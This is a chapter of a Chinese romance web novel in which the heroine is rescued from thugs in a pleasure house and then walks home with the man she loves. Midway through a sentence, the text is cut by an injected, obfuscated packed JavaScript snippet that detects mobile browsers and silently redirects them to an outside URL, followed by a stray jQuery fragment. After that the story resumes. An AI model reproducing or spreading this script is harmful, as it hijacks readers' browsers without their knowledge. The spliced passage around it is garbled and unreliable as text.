悟南柯文无汀

20.意外

送走了乐白和昌吉,杨柯径直回到厢房,掰了掰躺在地上的三名乐妓,好不容易腾出一块空地,一屁股坐了下去。她四顾一眼,桌上方才乐白点的酒才喝了三盅,还剩下十壶,这下岂不是喝个够?她随手拿起一壶便往嘴里灌,一阵眩晕冲进天灵盖,杨柯满意地闭上了眼睛,这么多天,终于能够彻底放松下来了。她的脑海里忍不住又开始浮现伯喻的样子。她虽然从小和云昌吉厮混在一起,性情并不似闺中女子那般柔情细腻,但伯喻却是第一个让她如此牵挂的男子。自从七夕那晚开始,她的心思就仿佛西洋钟表上那根长长的指针,只知道傻傻地围着他这根时针一圈圈地打转。


她端凝着手里的酒杯,脑子里浑浑沌沌地想,自己到底喜欢他什么呢?掏心窝子来说,她对他并非一见钟情,既然不是一见钟情,那就不是全当为色。因此,一半为人,一半为色。但杨柯觉得,无论是人还是色,伯喻皆当得起头筹。念及此,心里不由得美滋滋,于是又往嘴里灌了口酒。


忽然房外传来一阵喧闹,她在晕眩中努力支起身子,撑在门口向闹事处望去。几个男子围在芮伊的房前吵吵嚷嚷,红娘在一旁手舞足蹈,拦着他们不让进门去。


杨柯摇摇晃晃地走过去,她一把将身前的男子推开,那人一张马脸霎时皱起,扯过她的衣领,大声吼道:“你是哪里的小子?竟敢推老子?”


杨柯酒壮怂人胆,直视着他道:“我是当朝宣王爷,你是哪儿来的杂碎?”


红娘见状赶紧过来劝架:“二位爷,二位爷,今日是怎么了,怎么一个个地火气都这么大!元英,拿点冰酿来给二位爷消消火儿。”又拉着杨柯凑近道:“这几个是京城东街坊有名的地痞,今日被芮伊吃了个闭门羹,脸上挂不住,杨公子你快消去招惹啦!”


那马脸男仍是不依不饶:“你算什么王爷,”轻蔑地上下打量着她,“小子,你今天不给老子跪下道歉,信不信老子现在就把你扔下去!”


杨柯装作求饶:“吓死我了,爷饶了我吧!”


他见杨柯的气势一瘪,立马冒出□□,“哟呵,长得倒是俊俏,是不是哪家小姐偷偷跑出来的?”刚走上前要拍她的脸,杨柯猛地踹向他下身,马脸顿时爆发一阵驴叫。


杨柯冷哼一声:“想占我便宜,就凭你?”话音刚落,她突觉身体一轻,整个人竟被提到了半空中。


“啊——”她惊恐大叫,试图靠这喊声威慑对方。可他人多势众,又一贯嚣张,哪里会在意这些。


眨眼间她便被拎到一个强壮如狗熊的壮汉身前,这人高出她整整一个头,黑黑的气压从头顶倾盖下来。


“你是打哪儿来的?”狗熊男开口问道,声音恍若闷炮一般。红娘在边上劝得快要口舌生疮,可这狗熊仿佛自带一层结界,把杨柯和他二人彻底和附近隔绝开来。


杨柯一颗心提到了嗓子口:“大爷,我就是个小商贩子,您……”话还没说完,身后的门忽地打开——“王公子,俗话说打狗还得看主人,您随随便便就在紫英阁里动手,是不是失了点儿礼数?”


在场的男子见芮伊终于露面,眼睛就像饿狼见了肉一般直冒精光。这狗熊当然也不例外,可他的手仍不放松,杨柯被他扯得喘不过气来,小脸越憋越红,索性使劲咳嗽起来。


“既然芮伊姑娘放话,哪里有不听的道理。”狗熊一双眼睛像生了根似的,直勾勾地粘在芮伊脸上,说话间手却忽地松开,杨柯哪料到他出这阴招,猝不及防地直直往下坠去,竟被另一只手稳稳接住。


她抬头一看,是个白衣男子,心里又不禁一荡。此人长相虽不如伯喻,但通身的气派却与他不相上下。是自己吓懵了,还是眼花了?难道是她思念成疾,见着一个白衣男子就当成伯喻喜欢上了?


“王大人真是好身手,再晚一点儿,恐怕舍弟就要横尸在紫英阁的门前了。”此人声音竟也和伯喻的相差无几。


那狗熊仰天大笑:“原来是你啊。周公子美名在外,我说今晚芮伊为何闭门不出。”说完脸上笑容瞬间消失,露出凶光,“你真当自己风流倜傥,还能霸占了芮伊去?”说着便拍掌而来。


杨柯正欲张口惊呼,忽感到腰间手臂一个用力,登时便被带着越出栏杆,飞到了十丈之外。


“王公子是不是弄错了,芮伊乃是紫英阁的人,何时成在下的了?”即便手里有杨柯这个拖油瓶,他的脸上仍旧优雅带笑。


狗熊见偷袭不成,恼羞成怒:“你休想狡辩,今天就把你这小白脸儿打成落汤鸡!”说完便大喝而来。


周公子低头对杨柯柔声道:“阿柯,你先到红娘边上去。”说完便放开了她,抬起折扇迎了上去。


杨柯一面痴痴地瞧着此人,一面狐疑不决,自己与他素未谋面,他怎会知道自己的名字?


那狗熊口里骂得地动山摇,挥起长刀狠狠劈来,只见周公子脚尖轻点地面,身子一飘,侧身掠过狗熊,同时右手食中二指并拢,直点对方持刀手腕的“阳池穴”。这一指又快又准,狗熊只觉手腕一麻,长刀当啷一声掉落在地,疼得他哎哟直叫。


两个狗腿子见大哥占了下风,也撸起袖子加入了战局。杨柯一看,这三打一,周公子岂不是处于劣势?她今晚本就一股热乎劲儿使不完,于是扯着嗓子大声斥道:“姓王的,你算什么男人,居然以多欺少!芮伊怎么可能看得上你!”被她的话激中,那狗熊登时转头对着她强攻过来。杨柯赶忙抬脚逃跑,一个闪身就窜到了楼顶。狗熊见追不上她,气的一掌将桌子打烂,底下望着的红娘心疼大哭。


剩下两个地痞一个举刀下劈,一个横刀平削,对着白衣呼啸而去。白衣男子如鬼魅般翩然一转,左手顺势抓住下劈短刀的刀背,右手则屈指成爪,轻轻一抓,竟将平削而来的短刀刀身稳稳抓住。“咔嚓” 两声,两把短刀竟硬生生被他折断。那两个地痞惊得目瞪口呆,还没等他们反应过来,公子飞起两脚,正中两人胸口。这两脚看似轻飘飘的,却将两人踢得向后飞出数尺之远,重重地摔倒在地,半天爬不起来。


见这三人被打得服服帖帖,倒地哀嚎,杨柯心里别提多高兴了,笑嘻嘻地凑上前去,大声道:“王大哥,小弟还等着看您大展身手呢,怎么,才刚开始就当着大家的面跪下了?”


那狗熊双目圆瞪,猛地抬手要来抓她。杨柯吓得一个激灵往后退,身旁的周公子劝道:“不用同他们多费时间。”说完便掏出一个钱袋,递向红娘,“这是今晚的赔偿,我和杨兄礼数不周,还请红娘见谅。”说着对红娘交手行了个礼。


红娘一时没反应过来,忙道:“周公子,你也太客气了。”但手还是听话地将钱袋揣进了袖袋里。


他浅笑颔首,转身离开,杨柯也跟着他走了出去。


夜晚的凉风吹到脸上,将方


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293078|165772||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


才的激荡和莽撞也吹走了。


周公子虽然走得不快,但他人高,步子大,杨柯小跑着才追上他。将将平了呼吸,杨柯探了探身侧之人,迟疑着轻唤一声:“伯喻?”


对方展颜笑道:“还是没瞒过阿柯。”


在这寻常街道上,伯喻一身白衣,显得尤为鹤立鸡群,但今晚杨柯却感觉自己与他的距离好像又近了一点。


“你怎么也来紫英阁了?”她轻声试探问道,“你也和芮伊认识吗?


他的神色严肃了些:“她是我的一个旧友。”


杨柯心里一阵复杂,又不好再继续问下去,只能低头沉默。


“阿柯呢?为何会出现在紫英阁?”


伯喻看向杨柯,她心中忽地跳了一下,耳尖微红,结结巴巴地回道:“我也……也不常来。”不知为何,若是旁人问起,她定会脸不红心不跳地承认,甚至是对程玉槿也不怵,可偏偏在伯喻面前,她却不敢承认自己喜欢这烟花之地。


伯喻眉眼含笑,语气意有所指:“红娘最近开了霓裳羽衣曲,今晚看了一遍,十分不错,听说是位宫里的朋友带给她的。”


“是吗?那她这朋友可真够仗义!”杨柯佯装惊讶,可一对上伯喻颇有意味的眼神,又自动蔫了下去,酒意上涌,嘴里开始叽里咕噜地念叨起来,“自打我十三岁起紫英阁便开在东城,红娘一手将它从不足五十平方的小酒馆扩张到现在这个局面,作为掌柜的,人脉自然神通广大,拿到宫里的谱曲又何尝是个难事。”说完又飞快地朝他瞄了一眼。


伯喻捉到她的视线,满眼洞悉,他装作领悟地点了点头:“原来如此,那你是如何知道紫英阁的从前?”


杨柯被他问得不知如何回答,平日里的小聪明在他面前全都一溜烟儿不知飞到哪儿去了,只好低头闷闷道:“我很早便认识红娘了,进宫之前也天天来,霓裳羽衣曲就是我给她的。”


许久都未听到他的回应,杨柯好奇地抬眼去瞧他,而伯喻正意味深长地凝视着她,伸手揽上她的肩,轻声道:“阿柯,我知道你向来与红娘交好,可如今紫英阁并非太平之地。今晚的遭遇就是个教训,日后还是少来为妙。”


杨柯心里一酸:“为何?难道就因为紫英阁是烟花之地?”


“是,也不全是。我敬重红娘侠义肝胆,能容纳天下薄命佳人,但其间鱼龙混杂,最容易成为危险势力的藏身之地。所以,我担心你会被暗处的势力误伤。”


杨柯呆呆地望着他清澈的眼眸,那一双眼里写满了关心和温柔,也许是酒意作祟,她贪婪自得地享受着老天赐予的短暂眷顾,随即脑子一热,问道:“那你呢?你来不来?”


伯喻倒也没太惊讶,面色沉静道:“若非必要,我当然不会来。”


杨柯脆声道:“那就是说,还会来咯?”


伯喻也像是喝醉一般,卸下了平日的礼貌和疏离,伸出手指刮了刮她的鼻尖,薄怒道:“是啊,但若下次再碰到你,我定要把你直接抓回翠微殿去。”


一缕松香瞬间包裹住她的鼻腔,眼前伯喻的笑颜恍若夜里开出的昙花,杨柯的心跳瞬间漏了一拍。


伯喻见她又呆望着自己,低笑一声,眼里却盈满了笑意,提起脚步继续往前走了。


杨柯这才回过神来,赶紧快步追上他,伯喻也放缓了本就不快的步伐,两个人肩并肩地走向宫门。